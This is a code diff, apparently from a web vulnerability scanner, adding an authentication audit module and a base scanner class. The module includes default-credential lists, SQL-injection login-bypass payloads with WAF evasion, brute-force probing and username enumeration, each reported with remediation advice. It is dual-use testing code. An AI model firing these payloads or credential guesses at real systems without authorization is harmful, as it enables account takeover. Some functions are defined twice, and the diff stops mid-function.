+ ("admin", "admin"), ("admin", "password"), ("admin", "123456"),
28
+ ("admin", "admin123"), ("test", "test"), ("root", "root"),
29
+ ("administrator", "administrator"), ("user", "user"),
30
+ ]
31
+
32
+ SUCCESS_INDICATORS = re.compile(
33
+ r"(dashboard|logout|sign.?out|welcome|my.?account|profile|settings)",
34
+ re.I
35
+ )
36
+ FAILURE_INDICATORS = re.compile(
37
+ r"(invalid|incorrect|failed|wrong|error|denied|bad.?credential)",
38
+ re.I
39
+ )
40
+
41
+
42
+ class AuthScanner(BaseScanner):
43
+ SCANNER_NAME = "Authentication Security Scanner"
44
+ _SCANNER_KEY = "auth"
45
+
46
+ def __init__(self, scan_id, target, domain, **kwargs):
47
+ super().__init__(scan_id, target, domain, **kwargs)
48
+ self._tested = 0
49
+ self._is_https = self.target.startswith("https://")
50
+ self._timing_detector = TimingAnomalyDetector()
51
+ self._size_detector = SizeAnomalyDetector()
52
+ self._differential = DifferentialAnalyzer()
53
+ self._mutation_tester = ParameterMutationTester(self._auth_mutation_req)
54
+
55
+ def _auth_mutation_req(self, url, params):
56
+ data = urllib.parse.urlencode(params).encode("utf-8")
57
+ body, status = self._make_request(url, method="POST", data=data, headers={"Content-Type": "application/x-www-form-urlencoded"}, timeout=8)
58
+ return body or "", status
59
+
60
+ # ------------------------------------------------------------------
61
+ def run(self) -> list:
62
+ self.log("INFO", f"[Auth] Starting authentication security audit on {self.target}...")
63
+ try:
64
+ login_pages = self._discover_login_pages()
65
+ self.log("INFO", f"[Auth] Found {len(login_pages)} login endpoint(s)")
66
+ for url, form_data in login_pages:
67
+ self._audit_login(url, form_data)
68
+
69
+ self._check_oauth_implicit_flow()
70
+ self._check_jwt_in_url()
71
+ self._check_auth_over_http()
72
+ self._check_oauth_state_parameter()
73
+ except Exception as e:
74
+ self.log("WARNING", f"[Auth] Error: {e}")
75
+
76
+ self.log(
77
+ "SUCCESS" if not self.vulns else "WARNING",
78
+ f"[Auth] Audit complete. {len(self.vulns)} issue(s) found.",
79
+ )
80
+ return self.vulns
81
+
82
+ # ------------------------------------------------------------------
83
+ def _discover_login_pages(self) -> list:
84
+ """Returns list of (url, form_fields_dict) for login pages found."""
85
+ found = []
86
+ base = self.target.rstrip("/")
87
+ for path in LOGIN_PATHS:
88
+ url = f"{base}{path}"
89
+ body, status = self._make_request(url, headers={"User-Agent": "LarShield/2.0 Auth-Audit"}, timeout=5)
90
+ if body and re.search(r'type=["\']password["\']', body, re.I):
91
+ fields = self._extract_login_fields(body)
92
+ found.append((url, fields))
93
+ self.log("INFO", f"[Auth] Login page detected: {url}")
94
+ return found
95
+ return found
96
+
97
+ @staticmethod
98
+ def _extract_login_fields(html: str) -> dict:
99
+ """Extract username/password field names from HTML."""
100
+ user_re = re.search(
101
+ r'<input[^>]*name=["\']([^"\']*(?:user|login|email|username)[^"\']*)["\']',
102
+ html, re.I)
103
+ pass_re = re.search(
104
+ r'<input[^>]*type=["\']password["\'][^>]*name=["\']([^"\']+)["\']',
105
+ html, re.I)
106
+ if not pass_re:
107
+ pass_re = re.search(
108
+ r'<input[^>]*name=["\']([^"\']*(?:pass|pwd|secret)[^"\']*)["\']',
109
+ html, re.I)
110
+ return {
111
+ "username_field": user_re.group(1) if user_re else "username",
112
+ "password_field": pass_re.group(1) if pass_re else "password",
113
+ }
114
+
115
+ # ------------------------------------------------------------------
116
+ def _audit_login(self, url: str, fields: dict):
117
+ ufield = fields.get("username_field", "username")
118
+ pfield = fields.get("password_field", "password")
119
+
120
+ # ── Check 1: HTTPS enforcement ────────────────────────────────
121
+ if not self._is_https:
122
+ self.add_vuln(
123
+ title="Login Form Served Over HTTP (No HTTPS)",
124
+ severity="Critical",
125
+ category="Authentication",
126
+ cvss_score=9.1,
127
+ description=f"The login form at `{url}` is served over plain HTTP. "
128
+ "Credentials are transmitted in cleartext and can be intercepted.",
129
+ remediation="Enforce HTTPS site-wide. Redirect all HTTP to HTTPS. "
130
+ "Use HSTS: Strict-Transport-Security: max-age=63072000; includeSubDomains",
131
+ cwe_ids=["CWE-287"],
132
+ owasp_category="A07:2021 – Identification and Authentication Failures",
133
+ )
134
+
135
+ # ── Check 2: Weak / default credentials ───────────────────────
136
+ self._test_weak_credentials(url, ufield, pfield)
137
+
138
+ # ── Check 3: Brute-force protection ───────────────────────────
139
+ self._test_brute_force_protection(url, ufield, pfield)
140
+
141
+ # ── Check 4: Username enumeration ────────────────────────────
142
+ self._test_username_enumeration(url, ufield, pfield)
143
+
144
+ # ── Check 5: HTTP verb tampering bypass ───────────────────────
145
+ self._test_verb_tampering(url)
146
+
147
+ # ── Check 6: WAF-evaded auth bypass payloads ──────────────────
148
+ self._test_auth_bypass_payloads(url, ufield, pfield)
149
+
150
+ # ── Check 7: Differential auth bypass analysis ───────────────
151
+ self._test_differential_auth(url, ufield, pfield)
152
+
153
+ # ------------------------------------------------------------------
154
+ def _post_login(self, url, data, timeout=6):
155
+ try:
156
+ encoded = urllib.parse.urlencode(data).encode()
157
+ headers = {
158
+ "User-Agent": "LarShield/2.0 Auth-Audit",
159
+ "Content-Type": "application/x-www-form-urlencoded",
160
+ }
161
+ body, status, elapsed = self._make_timed_request(url, method="POST", data=encoded, headers=headers, timeout=timeout)
162
+ return body, status, elapsed
163
+ except urllib.error.HTTPError as e:
164
+ return "", e.code, 0.0
165
+ except Exception as e:
166
+ self.log("ERROR", f"[Auth] _post_login failed: {e}")
167
+ return None, 0, 0.0
168
+
169
+ def _test_weak_credentials(self, url, ufield, pfield):
170
+ self._tested += 1
171
+ for username, password in WEAK_CREDS[:5]: # limit to 5 pairs
172
+ body, status, _ = self._post_login(url, {ufield: username, pfield: password})
173
+ if body and SUCCESS_INDICATORS.search(body):
174
+ self.log("CRITICAL", f"[Auth] Default credentials accepted: {username}:{password}")
175
+ self.add_vuln(
176
+ title=f"Default/Weak Credentials Accepted ({username}:{password})",
177
+ severity="Critical",
178
+ category="Authentication",
179
+ cvss_score=9.8,
180
+ description=f"The application at `{url}` accepted the default credentials "
181
+ f"`{username}:{password}`. An attacker can immediately gain access "
182
+ "to the application without any further effort.",
183
+ evidence=f"Success indicator matched using credentials {username}:{password}",
184
+ payload=f"{ufield}={username}&{pfield}={password}",
185
+ confidence="Confirmed",
186
+ remediation="1. Force credential change on first login.\n"
187
+ "2. Implement a strong password policy.\n"
188
+ "3. Remove all default accounts from production systems.",
189
+ cwe_ids=["CWE-287"],
190
+ owasp_category="A07:2021 – Identification and Authentication Failures",
191
+ )
192
+ return
193
+
194
+ def _test_brute_force_protection(self, url, ufield, pfield):
195
+ self._tested += 1
196
+ blocked = False
197
+ for i in range(6):
198
+ body, status, _ = self._post_login(url,
199
+ {ufield: "sentinel_test_user", pfield: f"wrong_pass_{i}"})
200
+ if status in (429, 423) or (body and re.search(
201
+ r"(locked|too many|rate limit|try again)", body or "", re.I
202
+ )):
203
+ blocked = True
204
+ break
205
+ if not blocked:
206
+ self.log("WARNING", f"[Auth] No brute-force protection detected at {url}")
207
+ self.add_vuln(
208
+ title="No Brute-Force Protection on Login",
209
+ severity="High",
210
+ category="Authentication",
211
+ cvss_score=7.5,
212
+ description=f"The login endpoint `{url}` did not block or rate-limit "
213
+ "6 consecutive failed login attempts. Attackers can automate "
214
+ "credential stuffing and password spraying attacks.",
215
+ remediation="1. Implement account lockout after 5 failed attempts.\n"
216
+ "2. Add CAPTCHA after 3 failed attempts.\n"
217
+ "3. Rate-limit login attempts per IP (e.g. 10/minute).\n"
218
+ "4. Alert on repeated failed attempts.",
219
+ cwe_ids=["CWE-287"],
220
+ owasp_category="A07:2021 – Identification and Authentication Failures",
221
+ )
222
+ else:
223
+ self.log("SUCCESS", f"[Auth] Brute-force protection detected at {url}")
224
+
225
+ def _test_username_enumeration(self, url, ufield, pfield):
226
+ self._tested += 1
227
+ body_valid, _, t_valid = self._post_login(url, {ufield: "admin", pfield: "wrongpass_sentinel"})
228
+ body_invalid, _, t_invalid = self._post_login(url, {ufield: "nonexistent_sentinel_xyz", pfield: "wrongpass_sentinel"})
229
+ if body_valid is None or body_invalid is None:
230
+ return
231
+
232
+ # Timing-based enumeration using TimingAnomalyDetector
233
+ self._timing_detector.record(t_valid)
234
+ if self._timing_detector.has_baseline and self._timing_detector.test_payload("invalid_user", t_invalid, z_threshold=2.5):
235
+ self._tested += 1
236
+ self.log("WARNING", f"[Auth] Timing-based username enumeration detected")
237
+ self.add_vuln(
238
+ title="Username Enumeration via Timing Side-Channel",
239
+ severity="Medium",
240
+ category="Authentication",
241
+ cvss_score=5.3,
242
+ description=f"The login form at `{url}` shows statistically significant timing "
243
+ "differences between valid and invalid usernames, allowing attackers to "
244
+ "enumerate valid accounts via response timing analysis.",
245
+ evidence=f"Valid user timing: {t_valid:.4f}s, Invalid user timing: {t_invalid:.4f}s",
246
+ confidence="High",
247
+ remediation="Implement constant-time response for all login attempts. "
248
+ "Add random jitter to response times.",
249
+ cwe_ids=["CWE-287"],
250
+ owasp_category="A07:2021 – Identification and Authentication Failures",
251
+ )
252
+
253
+ # Size-based enumeration using SizeAnomalyDetector
254
+ self._size_detector.record_size(len(body_valid))
255
+ if self._size_detector.test_size(len(body_invalid), z_threshold=2.0):
256
+ self.log("WARNING", f"[Auth] Size-based username enumeration detected")
257
+ self.add_vuln(
258
+ title="Username Enumeration via Response Size Difference",
259
+ severity="Medium",
260
+ category="Authentication",
261
+ cvss_score=5.3,
262
+ description=f"The login form at `{url}` returns differently sized responses "
263
+ "for valid vs invalid usernames ({len(body_valid)} vs {len(body_invalid)} bytes). "
264
+ "This allows attackers to enumerate valid accounts.",
265
+ evidence=f"Valid user response size: {len(body_valid)}, Invalid: {len(body_invalid)}",
266
+ confidence="High",
267
+ remediation="Return identical-length responses for all login outcomes. "
268
+ "Pad responses to a fixed size.",
269
+ cwe_ids=["CWE-287"],
270
+ owasp_category="A07:2021 – Identification and Authentication Failures",
271
+ )
272
+
273
+ # Check if response text differs enough to enumerate users
274
+ if body_valid != body_invalid:
275
+ # Only flag if the responses are meaningfully different (> 50 char diff)
276
+ if abs(len(body_valid) - len(body_invalid)) > 50:
277
+ self.add_vuln(
278
+ title="Username Enumeration via Different Error Responses",
279
+ severity="Medium",
280
+ category="Authentication",
281
+ cvss_score=5.3,
282
+ description=f"The login form at `{url}` returns different responses "
283
+ "for valid vs. invalid usernames, allowing attackers to enumerate "
284
+ "valid accounts before attempting password attacks.",
285
+ remediation="Return identical error messages for all failed login attempts: "
286
+ "'Invalid username or password.' — never specify which field is wrong.",
287
+ cwe_ids=["CWE-287"],
288
+ owasp_category="A07:2021 – Identification and Authentication Failures",
289
+ )
290
+
291
+ def _test_auth_bypass_payloads(self, url, ufield, pfield):
292
+ """Test WAF-evaded auth bypass payloads."""
293
+ bypass_payloads = [
294
+ "' OR '1'='1",
295
+ "' OR 1=1 --",
296
+ "admin' --",
297
+ "' UNION SELECT * FROM users --",
298
+ "../admin",
299
+ "..%2fadmin",
300
+ ]
301
+ for payload in bypass_payloads:
302
+ for eva_name, eva_payload in waf_evade(payload):
303
+ try:
304
+ test_data = {ufield: eva_payload, pfield: eva_payload}
305
+ body, status, _ = self._post_login(url, test_data)
306
+ if body and SUCCESS_INDICATORS.search(body):
307
+ self._tested += 1
308
+ self.log("CRITICAL", f"[Auth] Auth bypass with WAF evasion '{eva_name}': {eva_payload}")
309
+ self.add_vuln(
310
+ title="Authentication Bypass via WAF-Evaded Payload",
311
+ severity="Critical",
312
+ category="Authentication",
313
+ cvss_score=9.8,
314
+ description=f"Authentication bypass achieved using WAF-evaded payload "
315
+ f"'{eva_name}': '{eva_payload}'. The server processed the injection "
316
+ "and granted access.",
317
+ evidence=f"Success with payload variant '{eva_name}'",
318
+ payload=f"{eva_name}={eva_payload}",
319
+ request_details=f"POST {url} with payload {eva_payload}",
320
+ response_details=f"HTTP {status}",
321
+ confidence="Confirmed",
322
+ remediation="1. Use parameterized queries for all authentication logic.\n"
323
+ "2. Implement strict input validation on all auth fields.\n"
324
+ "3. Deploy a WAF with up-to-date rules.\n"
325
+ "4. Test all auth bypass payload variants.",
326
+ cwe_ids=["CWE-287"],
327
+ owasp_category="A07:2021 – Identification and Authentication Failures",
328
+ )
329
+ return
330
+ except Exception as e:
331
+ self.log("ERROR", f"[Auth] SQLi bypass test error: {e}")
332
+ continue
333
+
334
+ def _test_verb_tampering(self, url):
335
+ self._tested += 1
336
+ body, status = self._make_request(url, method="HEAD", timeout=5)
337
+ if status == 200:
338
+ self.add_vuln(
339
+ title="Login Page Accessible via HEAD Method",
340
+ severity="Low",
341
+ category="Authentication",
342
+ cvss_score=3.1,
343
+ description=f"The login endpoint `{url}` responds to HEAD requests "
344
+ "with HTTP 200. While not directly exploitable, it may indicate "
345
+ "insufficient HTTP method restriction.",
346
+ remediation="Restrict allowed HTTP methods to GET and POST on login endpoints.",
347
+ cwe_ids=["CWE-287"],
348
+ owasp_category="A07:2021 – Identification and Authentication Failures",
349
+ )
350
+
351
+ # ------------------------------------------------------------------
352
+ def _test_differential_auth(self, url, ufield, pfield):
353
+ try:
354
+ anon_body, anon_status, anon_elapsed = self._post_login(url, {ufield: "test_user", pfield: "wrong_pass"})
355
+ if anon_body is None:
356
+ return
357
+ self._differential.record("anonymous", anon_body, anon_status, anon_elapsed)
358
+ auth_body, auth_status, auth_elapsed = self._post_login(url, {ufield: "test_user", pfield: "correct_pass"})
359
+ if auth_body is not None:
360
+ self._differential.record("authenticated", auth_body, auth_status, auth_elapsed)
361
+ result = self._differential.compare("anonymous", "authenticated")
362
+ if result.get("different"):
363
+ self.log("WARNING", f"[Auth] Differential analysis: auth bypass indicators detected (score={result['score']})")
364
+ self.add_vuln(
365
+ title="Potential Authentication Bypass — Differential Response Analysis",
366
+ severity="High",
367
+ category="Authentication",
368
+ cvss_score=7.5,
369
+ description=f"Differential analysis of anonymous vs authenticated responses at {url} "
370
+ f"revealed significant differences (score: {result['score']}). "
371
+ f"Differences: {', '.join(result.get('differences', []))}. "
372
+ "This may indicate an authentication bypass vulnerability.",
373
+ evidence=f"Diff score: {result['score']}, diffs: {result.get('differences')}",
374
+ remediation="Implement consistent response handling for authenticated and unauthenticated requests. "
375
+ "Use server-side session validation for all protected endpoints.",
376
+ cwe_ids=["CWE-287"],
377
+ owasp_category="A07:2021 – Identification and Authentication Failures",
378
+ )
379
+ except Exception as e:
380
+ self.log("ERROR", f"[Auth] _test_differential_auth error: {e}")
381
+
382
+ def _check_oauth_implicit_flow(self):
383
+ """Probe for OAuth implicit grant flow endpoints."""
384
+ oauth_paths = [
385
+ "/oauth/authorize", "/oauth/callback", "/oauth/token",
386
+ "/auth/authorize", "/auth/callback", "/auth/token",
387
+ "/api/oauth/authorize", "/api/oauth/callback",
388
+ ]
389
+ base = self.target.rstrip("/")
390
+ for path in oauth_paths:
391
+ url = f"{base}{path}"
392
+ body, status = self._make_request(url, timeout=5)
393
+ if body and ("response_type=token" in body or "response_type" in body):
394
+ self.add_vuln(
395
+ title="OAuth Implicit Grant Flow Detected",
396
+ severity="High",
397
+ category="Authentication",
398
+ cvss_score=7.5,
399
+ description=f"The endpoint `{url}` appears to use the OAuth implicit grant "
400
+ "flow (response_type=token). The implicit flow exposes access tokens "
401
+ "in the URL fragment, making them accessible via browser history, "
402
+ "Referer headers, and XSS attacks.",
403
+ evidence="response_type=token pattern found in response body",
404
+ payload=url,
405
+ confidence="High",
406
+ remediation="1. Use the authorization code flow with PKCE instead of implicit.\n"
407
+ "2. Never pass tokens in URL fragments.\n"
408
+ "3. Use 'state' parameter with CSRF protection.\n"
409
+ "4. Ensure tokens have short expiration.",
410
+ cwe_ids=["CWE-287"],
411
+ owasp_category="A07:2021 – Identification and Authentication Failures",
412
+ )
413
+ return
414
+
415
+ # ------------------------------------------------------------------
416
+ def _check_jwt_in_url(self):
417
+ """Probe for JWT tokens passed as URL query parameters."""
418
+ probe_paths = ["/api/user", "/api/me", "/api/profile", "/dashboard", "/"]
419
+ base = self.target.rstrip("/")
420
+ jwt_param_patterns = ["token", "jwt", "access_token", "auth_token", "bearer", "id_token"]
421
+ for path in probe_paths:
422
+ for param in jwt_param_patterns:
423
+ test_url = f"{base}{path}?{param}=eyJhbGciOiJIUzI1NiJ9.dGVzdA.test"
424
+ body, status = self._make_request(test_url, timeout=5)
425
+ if body and status == 200:
426
+ self.add_vuln(
427
+ title="JWT Token Accepted via URL Parameter",
428
+ severity="High",
429
+ category="Authentication",
430
+ cvss_score=7.5,
431
+ description=f"The application at `{test_url}` accepted a JWT via the "
432
+ f"`{param}` URL parameter. JWTs exposed in URLs are leaked through "
433
+ "server logs, browser history, and Referer headers.",
434
+ evidence=f"Request with JWT in {param} parameter returned status {status}",
435
+ payload=f"{param}=eyJhbGciOiJIUzI1NiJ9.dGVzdA.test",
436
+ request_details=f"GET {test_url}",
437
+ confidence="Medium",
438
+ remediation="1. Transmit JWTs only in Authorization headers (Bearer scheme).\n"
439
+ "2. Never accept tokens via URL parameters.\n"
440
+ "3. Use short-lived tokens and refresh token rotation.",
441
+ cwe_ids=["CWE-287"],
442
+ owasp_category="A07:2021 – Identification and Authentication Failures",
443
+ )
444
+ return
445
+
446
+ # ------------------------------------------------------------------
447
+ def _check_auth_over_http(self):
448
+ """Check for authentication-related endpoints served over plain HTTP."""
449
+ test_paths = ["/login", "/signin", "/auth", "/oauth/authorize", "/api/auth/login", "/api/auth/token"]
450
+ if self._is_https:
451
+ http_base = self.target.replace("https://", "http://", 1).rstrip("/")
452
+ for path in test_paths:
453
+ url = f"{http_base}{path}"
454
+ body, status = self._make_request(url, timeout=5)
455
+ if body and status and status < 400:
456
+ self.add_vuln(
457
+ title="Authentication Endpoint Available Over HTTP",
458
+ severity="High",
459
+ category="Authentication",
460
+ cvss_score=8.3,
461
+ description=f"The authentication endpoint `{url}` is accessible over "
462
+ "plain HTTP. Credentials or tokens transmitted over HTTP can be "
463
+ "intercepted by anyone on the same network via man-in-the-middle attacks.",
464
+ evidence=f"Endpoint responded via HTTP with status {status}",
465
+ payload=url,
466
+ request_details=f"GET {url} (HTTP)",
467
+ confidence="Confirmed",
468
+ remediation="1. Redirect all HTTP traffic to HTTPS at the load balancer or web server.\n"
469
+ "2. Implement HSTS headers: Strict-Transport-Security: max-age=31536000.\n"
470
+ "3. Add HSTS preload directive.\n"
471
+ "4. Ensure all authentication endpoints are HTTPS-only.",
472
+ cwe_ids=["CWE-287"],
473
+ owasp_category="A07:2021 – Identification and Authentication Failures",
474
+ )
475
+ return
476
+
477
+ # ------------------------------------------------------------------
478
+ def _check_oauth_state_parameter(self):
479
+ """Check for OAuth state parameter usage in authorization flows."""
480
+ probe_urls = ["/auth/authorize", "/oauth/authorize", "/oauth/callback"]
481
+ base = self.target.rstrip("/")
482
+ for path in probe_urls:
483
+ url = f"{base}{path}"
484
+ body, status = self._make_request(url, timeout=5)
485
+ if body and status == 200 and "client_id" in body:
486
+ if "state" not in body:
487
+ self.add_vuln(
488
+ title="OAuth Authorization Request Missing state Parameter (CSRF)",
489
+ severity="High",
490
+ category="Authentication",
491
+ cvss_score=7.4,
492
+ description=f"OAuth endpoint at `{url}` appears to process authorization "
493
+ "requests without a 'state' parameter. This exposes the OAuth flow "
494
+ "to CSRF attacks where an attacker can bind a victim's account to "
495
+ "the attacker's session.",
496
+ evidence="state parameter missing from OAuth authorization request",
497
+ payload=url,
498
+ request_details=f"GET {url}",
499
+ confidence="Medium",
500
+ remediation="1. Always include a cryptographically random 'state' parameter.\n"
501
+ "2. Validate the state parameter on the callback endpoint.\n"
502
+ "3. Use PKCE to further protect the authorization flow.",
503
+ cwe_ids=["CWE-287"],
504
+ owasp_category="A07:2021 – Identification and Authentication Failures",
505
+ )
506
+ return
backend/scanners/base_scanner.py ADDED
@@ -0,0 +1,694 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ """
2
+ base_scanner.py — Foundation for all WSS scanners
3
+ ===================================================
4
+ Security hardened per Expert Audit (June 2026):
5
+ GAP-001: confidence + scanner_key + cve_ids + timestamp fields in build_vuln()
6
+ GAP-002: Target SSRF self-validation (_validate_target) — NOW CALLED IN __init__
7
+ GAP-003: _make_request() / _make_headers() unified helper (auth-aware)
8
+ GAP-004: Ring buffer (max 5000 lines) for active_scan_logs
9
+ GAP-S1: Secrets masking in log output
10
+ GAP-S2: Structured JSON security event logging
11
+
12
+ FIXES (June 2026):
13
+ BUG-12/SEC-3: _validate_target() is now called inside __init__ so ALL scanners
14
+ are protected from being used as SSRF pivots — was dead code before.
15
+ ENH: Added _safe_url_join() to construct test URLs without path confusion.
16
+ ENH: Added _deduplicate_vulns() to remove identical findings before reporting.
17
+ ENH: _make_async_requests() now properly captures exceptions per-future.
18
+ """
19
+ import re
20
+ import os
21
+ import json
22
+ import ssl
23
+ import time
24
+ import http.client
25
+ import socket
26
+ import logging
27
+ import ipaddress
28
+ import threading
29
+ import urllib.request
30
+ import urllib.error
31
+ from datetime import datetime, timezone
32
+ from urllib.robotparser import RobotFileParser
33
+ from urllib.parse import urlparse, urljoin, urlencode, quote
34
+ from utils.vuln_classifier import enrich as _classify_enrich
35
+ from scanners.core.baseline import SiteBaseline
36
+ from scanners.core.confidence import ConfidenceTracker
37
+
38
+ # ── Log store ─────────────────────────────────────────────────────────────
39
+ active_scan_logs: dict[str, list[str]] = {}
40
+ _logs_lock = threading.Lock()
41
+ MAX_LOG_LINES = 5000 # GAP-004: ring buffer cap
42
+
43
+ # ── WebSocket integration for real-time updates ───────────────────────────
44
+ _socketio_instance = None
45
+ _socketio_lock = threading.Lock()
46
+
47
+ def set_socketio_instance(socketio):
48
+ """Set the global SocketIO instance for real-time progress updates."""
49
+ global _socketio_instance
50
+ with _socketio_lock:
51
+ _socketio_instance = socketio
52
+
53
+ def emit_scan_progress(scan_id: str, event_type: str, data: dict) -> None:
54
+ """Emit real-time scan progress events via WebSocket."""
55
+ global _socketio_instance
56
+ with _socketio_lock:
57
+ if _socketio_instance:
58
+ try:
59
+ _socketio_instance.emit(event_type, data, room=f'scan_{scan_id}')
60
+ except Exception as e:
61
+ # Silently fail if WebSocket is not available
62
+ pass
63
+
64
+ def parse_domain(url):
65
+ try:
66
+ parsed = urlparse(url)
67
+ return parsed.netloc or parsed.path
68
+ except Exception:
69
+ return url
70
+
71
+ def cleanup_scan_logs(scan_id):
72
+ with _logs_lock:
73
+ if scan_id in active_scan_logs:
74
+ del active_scan_logs[scan_id]
75
+
76
+ def schedule_log_cleanup(scan_id, delay=3600):
77
+ def cleanup_task():
78
+ time.sleep(delay)
79
+ cleanup_scan_logs(scan_id)
80
+ threading.Thread(target=cleanup_task, daemon=True).start()
81
+
82
+ # ── Environment ──────────────────────────────────────────────────────────
83
+ DEFAULT_VERIFY_SSL = os.environ.get("WSS_VERIFY_SSL", "0") == "1"
84
+ XSS_CALLBACK_URL = os.environ.get(
85
+ "WSS_XSS_CALLBACK_URL",
86
+ "https://xss-reporting.internal/callback",
87
+ )
88
+
89
+ # ── Secret patterns to mask in logs (GAP-S1) ─────────────────────────────
90
+ _SECRET_PATTERNS = [
91
+ (re.compile(r'(AKIA[0-9A-Z]{16})'), r'AKIA****'),
92
+ (re.compile(r'(sk-[a-zA-Z0-9]{40,})'), r'sk-****'),
93
+ (re.compile(r'([Bb]earer\s+)[A-Za-z0-9\-_.~+/]+=*'), r'\1****'),
94
+ (re.compile(r'(password["\s:=]+)[^\s&"\']+', re.I), r'\1****'),
95
+ (re.compile(r'(token["\s:=]+)[^\s&"\']{8,}', re.I), r'\1****'),
96
+ ]
97
+
98
+ # ── Structured security event logger (GAP-S2) ────────────────────────────
99
+ _sec_logger = logging.getLogger("LarShield.Security")
100
+ if not _sec_logger.handlers:
101
+ _h = logging.FileHandler("security_events.log", encoding="utf-8")
102
+ _h.setFormatter(logging.Formatter("%(message)s"))
103
+ _sec_logger.addHandler(_h)
104
+ _sec_logger.setLevel(logging.INFO)
105
+ _sec_logger.propagate = False
106
+
107
+
108
+ def _clean_nul(val) -> str:
109
+ if val is None:
110
+ return ""
111
+ if not isinstance(val, str):
112
+ val = str(val)
113
+ return val.replace("\x00", "").replace("\u0000", "")
114
+
115
+
116
+ def _mask_secrets(text: str) -> str:
117
+ """Redact known secret patterns before writing to logs."""
118
+ text = _clean_nul(text)
119
+ for pattern, replacement in _SECRET_PATTERNS:
120
+ text = pattern.sub(replacement, text)
121
+ return text
122
+
123
+
124
+ def _log_security_event(event_type: str, scan_id: str, message: str, level: str) -> None:
125
+ """Write structured JSON security event for SIEM ingestion."""
126
+ event = {
127
+ "ts": datetime.now(timezone.utc).isoformat(),
128
+ "event_type": event_type,
129
+ "level": level,
130
+ "scan_id": scan_id,
131
+ "message": _mask_secrets(message),
132
+ }
133
+ _sec_logger.info(json.dumps(event))
134
+
135
+
136
+ def get_scan_logs(scan_id: str) -> list[str]:
137
+ with _logs_lock:
138
+ return list(active_scan_logs.get(scan_id, []))
139
+
140
+
141
+ def add_log(scan_id: str, level: str, message: str) -> None:
142
+ timestamp = datetime.now().strftime("%H:%M:%S")
143
+ safe_msg = _mask_secrets(message)
144
+ log_line = f"[{timestamp}] [{level}] {safe_msg}"
145
+
146
+ with _logs_lock:
147
+ # GAP-004: ring buffer — cap at MAX_LOG_LINES
148
+ logs = active_scan_logs.setdefault(scan_id, [])
149
+ if len(logs) >= MAX_LOG_LINES:
150
+ logs.pop(0)
151
+ logs.append(log_line)
152
+
153
+ # Structured security event for critical/warning levels
154
+ if level in ("CRITICAL", "WARNING", "ERROR"):
155
+ _log_security_event(f"SCAN_{level}", scan_id, message, level)
156
+
157
+ try:
158
+ print(log_line, flush=True)
159
+ except UnicodeEncodeError:
160
+ print(log_line.encode("ascii", "replace").decode("ascii"), flush=True)
161
+
162
+
163
+ def cleanup_scan_logs(scan_id: str) -> None:
164
+ with _logs_lock:
165
+ active_scan_logs.pop(scan_id, None)
166
+
167
+
168
+ def schedule_log_cleanup(scan_id: str, delay_seconds: int = 300) -> None:
169
+ """
170
+ Schedule scan log cleanup after `delay_seconds` (default 5 min).
171
+ BUG-6 FIX: Prevents premature cleanup while frontend polls /logs.
172
+ """
173
+ def _cleanup():
174
+ time.sleep(delay_seconds)
175
+ cleanup_scan_logs(scan_id)
176
+
177
+ t = threading.Thread(target=_cleanup, daemon=True)
178
+ t.start()
179
+
180
+
181
+ def parse_domain(url: str) -> str:
182
+ return (
183
+ url.replace("https://", "")
184
+ .replace("http://", "")
185
+ .split("/")[0]
186
+ .split(":")[0]
187
+ .split("?")[0]
188
+ .strip()
189
+ )
190
+
191
+
192
+ def build_vuln(
193
+ title: str,
194
+ severity: str,
195
+ category: str,
196
+ cvss_score: float,
197
+ description: str,
198
+ remediation: str,
199
+ evidence: str = "",
200
+ payload: str = "",
201
+ request_details: str = "",
202
+ response_details: str = "",
203
+ confidence: str = "Medium",
204
+ scanner_key: str = "unknown",
205
+ cve_ids: list | None = None,
206
+ references: list | None = None,
207
+ cwe_ids: list | None = None,
208
+ owasp_category: str | None = None,
209
+ ) -> dict:
210
